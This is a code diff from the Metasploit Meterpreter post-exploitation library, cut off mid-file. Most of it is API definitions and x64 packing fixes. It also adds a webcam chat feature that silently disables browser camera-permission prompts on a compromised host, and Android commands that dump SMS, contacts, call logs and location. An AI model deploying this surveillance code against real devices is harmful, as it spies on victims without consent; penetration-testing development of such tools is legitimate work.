'in'], @@ -2089,10 +2093,8 @@ class Def_advapi32 ["PBLOB","pvContext","in"], ]) - return dll end - end end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb index fba8939c6a..dc653cac1b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb @@ -11,7 +11,7 @@ class Def_kernel32 def self.create_dll(dll_path = 'kernel32') dll = DLL.new(dll_path, ApiConstants.manager) - + dll.add_function( 'GetConsoleWindow', 'LPVOID',[]) dll.add_function( 'ActivateActCtx', 'BOOL',[ @@ -496,7 +496,7 @@ class Def_kernel32 ["HANDLE","hProcess","in"], ["PBLOB","lpThreadAttributes","in"], ["DWORD","dwStackSize","in"], - ["PBLOB","lpStartAddress","in"], + ["LPVOID","lpStartAddress","in"], ["PBLOB","lpParameter","in"], ["DWORD","dwCreationFlags","in"], ["PDWORD","lpThreadId","out"], @@ -3668,11 +3668,11 @@ class Def_kernel32 # ]) dll.add_function( 'lstrlenA', 'DWORD',[ - ["PCHAR","lpString","in"], + ["LPVOID","lpString","in"], ]) dll.add_function( 'lstrlenW', 'DWORD',[ - ["PWCHAR","lpString","in"], + ["LPVOID","lpString","in"], ]) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb index 8d2b7bc82a..8fcb491f4e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb @@ -12,6 +12,19 @@ class Def_netapi32 def self.create_dll(dll_path = 'netapi32') dll = DLL.new(dll_path, ApiConstants.manager) + dll.add_function('NetApiBufferFree','DWORD',[ + ["LPVOID","Buffer","in"] + ]) + + dll.add_function('DsGetDcNameA', 'DWORD',[ + ["PWCHAR","ComputerName","in"], + ["PWCHAR","DomainName","in"], + ["PBLOB","DomainGuid","in"], + ["PWCHAR","SiteName","in"], + ["DWORD","Flags","in"], + ["PDWORD","DomainControllerInfo","out"] + ]) + dll.add_function('NetUserDel', 'DWORD',[ ["PWCHAR","servername","in"], ["PWCHAR","username","in"], @@ -55,6 +68,29 @@ class Def_netapi32 ["PDWORD","totalentries","out"] ]) + dll.add_function('NetSessionEnum', 'DWORD',[ + ['PWCHAR','servername','in'], + ['PWCHAR','UncClientName','in'], + ['PWCHAR','username','in'], + ['DWORD','level','in'], + ['PDWORD','bufptr','out'], + ['DWORD','prefmaxlen','in'], + ['PDWORD','entriesread','out'], + ['PDWORD','totalentries','out'], + ['PDWORD','resume_handle','inout'] + ]) + + dll.add_function('NetApiBufferFree', 'DWORD', [ + ['LPVOID','buffer','in'] + ]) + + dll.add_function('NetUserChangePassword', 'DWORD', [ + ["PWCHAR","domainname","in"], + ["PWCHAR","username","in"], + ["PWCHAR","oldpassword","in"], + ["PWCHAR","newpassword","in"] + ]) + return dll end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb index 8c386a8cbd..ed9adca25c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_ntdll.rb @@ -12,6 +12,15 @@ class Def_ntdll def self.create_dll(dll_path = 'ntdll') dll = DLL.new(dll_path, ApiConstants.manager) + dll.add_function('NtAllocateVirtualMemory', 'DWORD',[ + ["DWORD","ProcessHandle","in"], + ["PBLOB","BaseAddress","inout"], + ["PDWORD","ZeroBits","in"], + ["PBLOB","RegionSize","inout"], + ["DWORD","AllocationType","in"], + ["DWORD","Protect","in"] + ]) + dll.add_function('NtClose', 'DWORD',[ ["DWORD","Handle","in"], ]) @@ -33,13 +42,13 @@ class Def_ntdll dll.add_function('NtDeviceIoControlFile', 'DWORD',[ ["DWORD","FileHandle","in"], ["DWORD","Event","in"], - ["PBLOB","ApcRoutine","in"], - ["PBLOB","ApcContext","in"], - ["PBLOB","IoStatusBlock","inout"], + ["LPVOID","ApcRoutine","in"], + ["LPVOID","ApcContext","in"], + ["PDWORD","IoStatusBlock","out"], ["DWORD","IoControlCode","in"], - ["PBLOB","InputBuffer","in"], + ["LPVOID","InputBuffer","in"], ["DWORD","InputBufferLength","in"], - ["PBLOB","OutputBuffer","inout"], + ["LPVOID","OutputBuffer","in"], ["DWORD","OutputBufferLength","in"], ]) @@ -68,6 +77,11 @@ class Def_ntdll ["PDWORD","ReturnLength","inout"], ]) + dll.add_function('NtQueryIntervalProfile', 'DWORD',[ + ["DWORD","ProfileSource","in"], + ["PDWORD","Interval","out"], + ]) + dll.add_function('NtQuerySystemInformation', 'DWORD',[ ["DWORD","SystemInformationClass","in"], ["PBLOB","SystemInformation","inout"], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb new file mode 100644 index 0000000000..36b59c6d48 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb @@ -0,0 +1,32 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_psapi + + def self.create_dll(dll_path = 'psapi') + dll = DLL.new(dll_path, ApiConstants.manager) + + dll.add_function('EnumDeviceDrivers', 'BOOL',[ + %w(PBLOB lpImageBase out), + %w(DWORD cb in), + %w(PDWORD lpcbNeeded out) + ]) + + dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [ + %w(LPVOID ImageBase in), + %w(PBLOB lpBaseName out), + %w(DWORD nSize in) + ]) + + return dll + end + +end + +end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb index 89cb80c00a..e96e8c358d 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb @@ -35,6 +35,26 @@ class Def_wldap32 ['PDWORD', 'res', 'out'] ], 'ldap_search_sA', "cdecl") + dll.add_function('ldap_set_option', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'option', 'in'], + ['PDWORD', 'invalue', 'in'] + ], 'ldap_set_option', "cdecl") + + dll.add_function('ldap_search_ext_sA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['PCHAR', 'base', 'in'], + ['DWORD', 'scope', 'in'], + ['PCHAR', 'filter', 'in'], + ['PCHAR', 'attrs[]', 'in'], + ['DWORD', 'attrsonly', 'in'], + ['DWORD', 'pServerControls', 'in'], + ['DWORD', 'pClientControls', 'in'], + ['DWORD', 'pTimeout', 'in'], + ['DWORD', 'SizeLimit', 'in'], + ['PDWORD', 'res', 'out'] + ], 'ldap_search_ext_sA', "cdecl") + dll.add_function('ldap_count_entries', 'DWORD',[ ['DWORD', 'ld', 'in'], ['DWORD', 'res', 'in'] diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb index a2bce9ea8b..842cc972f6 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb @@ -120,7 +120,7 @@ class DLL raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length if( client.platform =~ /x64/i ) - native = 'Q' + native = 'Q<' else native = 'V' end @@ -153,12 +153,12 @@ class DLL buffer_size = args[param_idx] if param_desc[0] == "PDWORD" # bump up the size for an x64 pointer - if( native == 'Q' and buffer_size == 4 ) + if( native == 'Q<' and buffer_size == 4 ) args[param_idx] = 8 buffer_size = args[param_idx] end - if( native == 'Q' ) + if( native == 'Q<' ) raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8 elsif( native == 'V' ) raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4 @@ -288,7 +288,7 @@ class DLL #process return value case function.return_type when "LPVOID", "HANDLE" - if( native == 'Q' ) + if( native == 'Q<' ) return_hash["return"] = rec_return_value else return_hash["return"] = rec_return_value % 4294967296 @@ -318,7 +318,7 @@ class DLL buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes] case buffer_item.datatype when "PDWORD" - return_hash[param_name] = buffer.unpack('V')[0] + return_hash[param_name] = buffer.unpack(native)[0] when "PCHAR" return_hash[param_name] = asciiz_to_str(buffer) when "PWCHAR" @@ -338,7 +338,7 @@ class DLL buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes] case buffer_item.datatype when "PDWORD" - return_hash[param_name] = buffer.unpack('V')[0] + return_hash[param_name] = buffer.unpack(native)[0] when "PCHAR" return_hash[param_name] = asciiz_to_str(buffer) when "PWCHAR" diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb index 9dc000e0bc..0c4ad6a07a 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb @@ -50,7 +50,7 @@ class MultiCaller @win_consts = win_consts if( @client.platform =~ /x64/i ) - @native = 'Q' + @native = 'Q<' else @native = 'V' end @@ -102,12 +102,12 @@ class MultiCaller raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes " unless args[param_idx].class == Fixnum buffer_size = args[param_idx] # bump up the size for an x64 pointer - if( @native == 'Q' and buffer_size == 4 ) + if( @native == 'Q<' and buffer_size == 4 ) args[param_idx] = 8 buffer_size = args[param_idx] end - if( @native == 'Q' ) + if( @native == 'Q<' ) raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8 elsif( @native == 'V' ) raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4 @@ -242,7 +242,7 @@ class MultiCaller #process return value case function.return_type when "LPVOID", "HANDLE" - if( @native == 'Q' ) + if( @native == 'Q<' ) return_hash["return"] = rec_return_value else return_hash["return"] = rec_return_value % 4294967296 diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 0d6642011f..b045b6b270 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -78,7 +78,8 @@ class Railgun 'crypt32', 'wlanapi', 'wldap32', - 'version' + 'version', + 'psapi' ].freeze ## diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb index c26af3e9c5..a7f5971d75 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb @@ -27,8 +27,8 @@ module PointerUtil case platform when PlatformUtil::X86_64 - # XXX: Only works if attacker and victim are like-endianed - [pointer].pack('Q') + # Assume little endian + [pointer].pack('Q<') when PlatformUtil::X86_32 [pointer].pack('V') else @@ -40,8 +40,8 @@ module PointerUtil def self.unpack_pointer(packed_pointer, platform) case platform when PlatformUtil::X86_64 - # XXX: Only works if attacker and victim are like-endianed - packed_pointer.unpack('Q').first + # Assume little endian + packed_pointer.unpack('Q<').first when PlatformUtil::X86_32 packed_pointer.unpack('V').first else diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb index f0c1c621c4..6b25a60042 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb @@ -324,8 +324,8 @@ class Util # def unpack_pointer(packed_pointer) if is_64bit - # XXX: Only works if attacker and victim are like-endianed - packed_pointer.unpack('Q')[0] + # Assume little endian + packed_pointer.unpack('Q<')[0] else packed_pointer.unpack('V')[0] end @@ -341,7 +341,7 @@ class Util # See #unpack_pointer # def is_null_pointer(pointer) - if pointer.class == String + if pointer.kind_of? String pointer = unpack_pointer(pointer) end @@ -375,6 +375,26 @@ class Util return str end + # + # Reads null-terminated ASCII strings from memory. + # + # Given a pointer to a null terminated array of CHARs, return a ruby + # String. If +pointer+ is NULL (see #is_null_pointer) returns an empty + # string. + # + def read_string(pointer, length=nil) + if is_null_pointer(pointer) + return '' + end + + unless length + length = railgun.kernel32.lstrlenA(pointer)['return'] + end + + chars = read_array(:CHAR, length, pointer) + return chars.join('') + end + # # Read a given number of bytes from memory or from a provided buffer. # @@ -432,12 +452,12 @@ class Util # Both on x86 and x64, DWORD is 32 bits return raw.unpack('V').first when :BOOL - return raw.unpack('l').first == 1 + return raw.unpack('V').first == 1 when :LONG - return raw.unpack('l').first + return raw.unpack('V').first end - #If nothing worked thus far, return it raw + #If nothing worked thus far, return it raw return raw end @@ -498,7 +518,7 @@ class Util # Returns true if the type passed describes a data structure, false otherwise def is_struct_type?(type) - return type.class == Array + return type.kind_of? Array end @@ -513,10 +533,13 @@ class Util return pointer_size end - if is_array_type?(type) - element_type, length = split_array_type(type) - - return length * sizeof_type(element_type) + if type.kind_of? String + if is_array_type?(type) + element_type, length = split_array_type(type) + return length * sizeof_type(element_type) + else + return sizeof_type(type.to_sym) + end end if is_struct_type?(type) @@ -559,10 +582,8 @@ class Util def struct_offsets(definition, offset) padding = 0 offsets = [] - definition.each do |mapping| key, data_type = mapping - if sizeof_type(data_type) > padding offset = offset + padding end @@ -570,7 +591,6 @@ class Util offsets.push(offset) offset = offset + sizeof_type(data_type) - padding = calc_padding(offset) end @@ -606,12 +626,11 @@ class Util if type =~ /^(\w+)\[(\w+)\]$/ element_type = $1 length = $2 - unless length =~ /^\d+$/ length = railgun.const(length) end - return element_type, length + return element_type.to_sym, length.to_i else raise "Can not split non-array type #{type}" end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb index 1645f97bba..82d75c3b6f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb @@ -30,14 +30,14 @@ class Config def getuid request = Packet.create_request('stdapi_sys_config_getuid') response = client.send_request(request) - return client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) ) end # # Returns a hash of requested environment variables, along with their values. # If a requested value doesn't exist in the response, then the value wasn't found. # - def getenv(var_names) + def getenvs(*var_names) request = Packet.create_request('stdapi_sys_config_getenv') var_names.each do |v| @@ -53,7 +53,15 @@ class Config result[var_name] = var_value end - return result + result + end + + # + # Returns the value of a single requested environment variable name + # + def getenv(var_name) + _, value = getenvs(var_name).first + value end # @@ -85,7 +93,7 @@ class Config req = Packet.create_request('stdapi_sys_config_steal_token') req.add_tlv(TLV_TYPE_PID, pid.to_i) res = client.send_request(req) - return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -94,7 +102,7 @@ class Config def drop_token req = Packet.create_request('stdapi_sys_config_drop_token') res = client.send_request(req) - return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -107,7 +115,7 @@ class Config res.each(TLV_TYPE_PRIVILEGE) do |p| ret << p.value end - return ret + ret end protected diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index a20b0b1993..41fab4d12b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -12,10 +12,10 @@ module Stdapi # ## -TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 -TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 -TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_QWORD | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_QWORD | 631 TLV_TYPE_PRIVILEGE = TLV_META_TYPE_STRING | 632 ## @@ -100,7 +100,7 @@ PROCESS_EXECUTE_FLAG_DESKTOP = (1 << 4) PROCESS_EXECUTE_FLAG_SESSION = (1 << 5) # Registry -TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_HKEY = TLV_META_TYPE_QWORD | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 @@ -125,12 +125,12 @@ TLV_TYPE_ENV_GROUP = TLV_META_TYPE_GROUP | 1102 DELETE_KEY_FLAG_RECURSIVE = (1 << 0) # Process -TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2000 TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 -TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_QWORD | 2005 TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 @@ -147,16 +147,16 @@ TLV_TYPE_PROCESS_SESSION = TLV_META_TYPE_UINT | 2308 TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 -TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 -TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_QWORD | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_QWORD | 2404 TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 -TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 -TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_QWORD | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_QWORD | 2512 TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 @@ -189,7 +189,7 @@ TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLV_META_TYPE_STRING | 3012 # ## TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 -TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_QWORD | 4001 TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index c8343dbd43..22c8b04adb 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -156,7 +156,7 @@ class UI < Rex::Post::UI request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality ) # include the x64 screenshot dll if the host OS is x64 if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) - screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x64.dll' ) + screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll') screenshot_path = ::File.expand_path( screenshot_path ) screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| @@ -166,7 +166,7 @@ class UI < Rex::Post::UI request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length ) end # but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 - screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x86.dll' ) + screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll') screenshot_path = ::File.expand_path( screenshot_path ) screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index c18f9de1f9..31a5c1ef6e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +#require 'rex/post/meterpreter/extensions/process' + module Rex module Post module Meterpreter @@ -14,10 +16,18 @@ module Webcam ### class Webcam + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::WebRTC + def initialize(client) @client = client end + def session + @client + end + def webcam_list response = client.send_request(Packet.create_request('webcam_list')) names = [] @@ -47,6 +57,26 @@ class Webcam true end + # + # Starts a webcam session with a remote user via WebRTC + # + # @param server [String] A server to use for the channel. + # @return void + # + def webcam_chat(server) + offerer_id = Rex::Text.rand_text_alphanumeric(10) + channel = Rex::Text.rand_text_alphanumeric(20) + + remote_browser_path = get_webrtc_browser_path + + if remote_browser_path.blank? + raise RuntimeError, "Unable to find a suitable browser on the target machine" + end + + ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) + connect_video_chat(server, channel, offerer_id) + end + # Record from default audio source for +duration+ seconds; # returns a low-quality wav file def record_mic(duration) @@ -58,6 +88,114 @@ class Webcam attr_accessor :client + + private + + + # + # Returns a browser path that supports WebRTC + # + # @return [String] + # + def get_webrtc_browser_path + found_browser_path = '' + + case client.platform + when /win/ + paths = [ + "Program Files\\Google\\Chrome\\Application\\chrome.exe", + "Program Files\\Mozilla Firefox\\firefox.exe" + ] + + drive = session.sys.config.getenv("SYSTEMDRIVE") + paths = paths.map { |p| "#{drive}\\#{p}" } + + # Old chrome path + user_profile = client.sys.config.getenv("USERPROFILE") + paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe" + + paths.each do |browser_path| + if file?(browser_path) + found_browser_path = browser_path + break + end + end + + when /osx|bsd/ + [ + '/Applications/Google Chrome.app', + '/Applications/Firefox.app', + ].each do |browser_path| + if file?(browser_path) + found_browser_path = browser_path + break + end + end + when /linux|unix/ + # Need to add support for Linux in the future. + # But you see, the Linux meterpreter is so broken there is no point + # to do it now. You can't test anyway. + end + + found_browser_path + end + + + # + # Creates a video chat session as an offerer... involuntarily :-p + # Windows targets only. + # + # @param remote_browser_path [String] A browser path that supports WebRTC on the target machine + # @param offerer_id [String] A ID that the answerer can look for and join + # + def init_video_chat(remote_browser_path, server, channel, offerer_id) + interface = load_interface('offerer.html') + api = load_api_code + + interface = interface.gsub(/\=SERVER\=/, server) + interface = interface.gsub(/\=CHANNEL\=/, channel) + interface = interface.gsub(/\=OFFERERID\=/, offerer_id) + + tmp_dir = session.sys.config.getenv("TEMP") + + begin + write_file("#{tmp_dir}\\interface.html", interface) + write_file("#{tmp_dir}\\api.js", api) + rescue ::Exception => e + elog("webcam_chat failed. #{e.class} #{e.to_s}") + raise RuntimeError, "Unable to initialize the interface on the target machine" + end + + # + # Automatically allow the webcam to run on the target machine + # + args = '' + if remote_browser_path =~ /Chrome/ + args = "--allow-file-access-from-files --use-fake-ui-for-media-stream" + elsif remote_browser_path =~ /Firefox/ + profile_name = Rex::Text.rand_text_alpha(8) + o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}") + profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip + setting = %Q|user_pref("media.navigator.permission.disabled", true);| + begin + write_file(profile_path, setting) + rescue ::Exception => e + elog("webcam_chat failed: #{e.class} #{e.to_s}") + raise RuntimeError, "Unable to write the necessary setting for Firefox." + end + args = "-p #{profile_name}" + end + + exec_opts = {'Hidden' => false, 'Channelized' => false} + + begin + session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) + rescue ::Exception => e + elog("webcam_chat failed. #{e.class} #{e.to_s}") + raise RuntimeError, "Unable to start the remote browser: #{e.message}" + end + end + end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index 751313b7cc..9aeccc49a0 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -251,7 +251,7 @@ class Tlv elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT) raw = [value].pack("N") elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD) - raw = [ self.htonq( value.to_i ) ].pack("Q") + raw = [ self.htonq( value.to_i ) ].pack("Q<") elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL) if (value == true) raw = [1].pack("c") @@ -312,7 +312,7 @@ class Tlv elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT) self.value = raw.unpack("NNN")[2] elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD) - self.value = raw.unpack("NNQ")[2] + self.value = raw.unpack("NNQ<")[2] self.value = self.ntohq( self.value ) elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL) self.value = raw.unpack("NNc")[2] @@ -335,7 +335,7 @@ class Tlv if( [1].pack( 's' ) == [1].pack( 'n' ) ) return value end - return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first + return [ value ].pack( 'Q<' ).reverse.unpack( 'Q<' ).first end def ntohq( value ) diff --git a/lib/rex/post/meterpreter/ui/console.rb b/lib/rex/post/meterpreter/ui/console.rb index 6fdbc8b3a6..550c37175e 100644 --- a/lib/rex/post/meterpreter/ui/console.rb +++ b/lib/rex/post/meterpreter/ui/console.rb @@ -106,6 +106,8 @@ class Console log_error("Operation timed out.") rescue RequestError => info log_error(info.to_s) + rescue Rex::AddressInUse => e + log_error(e.message) rescue ::Errno::EPIPE, ::OpenSSL::SSL::SSLError, ::IOError self.client.kill rescue ::Exception => e diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb new file mode 100644 index 0000000000..a31638bc61 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -0,0 +1,383 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' +require 'msf/core/auxiliary/report' + +module Rex +module Post +module Meterpreter +module Ui + +### +# Android extension - set of commands to be executed on android devices. +# extension by Anwar Mohamed (@anwarelmakrahy) +### + +class Console::CommandDispatcher::Android + include Console::CommandDispatcher + include Msf::Auxiliary::Report + + # + # List of supported commands. + # + def commands + all = { + 'dump_sms' => 'Get sms messages', + 'dump_contacts' => 'Get contacts list', + 'geolocate' => 'Get current lat-long using geolocation', + 'dump_calllog' => 'Get call log', + 'check_root' => 'Check if device is rooted', + 'device_shutdown' => 'Shutdown device' + } + + reqs = { + 'dump_sms' => [ 'dump_sms' ], + 'dump_contacts' => [ 'dump_contacts' ], + 'geolocate' => [ 'geolocate' ], + 'dump_calllog' => [ 'dump_calllog' ], + 'check_root' => [ 'check_root' ], + 'device_shutdown' => [ 'device_shutdown'] + } + + # Ensure any requirements of the command are met + all.delete_if do |cmd, desc| + reqs[cmd].any? { |req| not client.commands.include?(req) } + end + end + + def cmd_device_shutdown(*args) + + seconds = 0 + device_shutdown_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ], + '-t' => [ false, 'Shutdown after n seconds'] + ) + + device_shutdown_opts.parse(args) { | opt, idx, val | + case opt + when '-h' + print_line('Usage: device_shutdown [options]') + print_line('Shutdown device.') + print_line(device_shutdown_opts.usage) + return + when '-t' + seconds = val.to_i + end + } + + 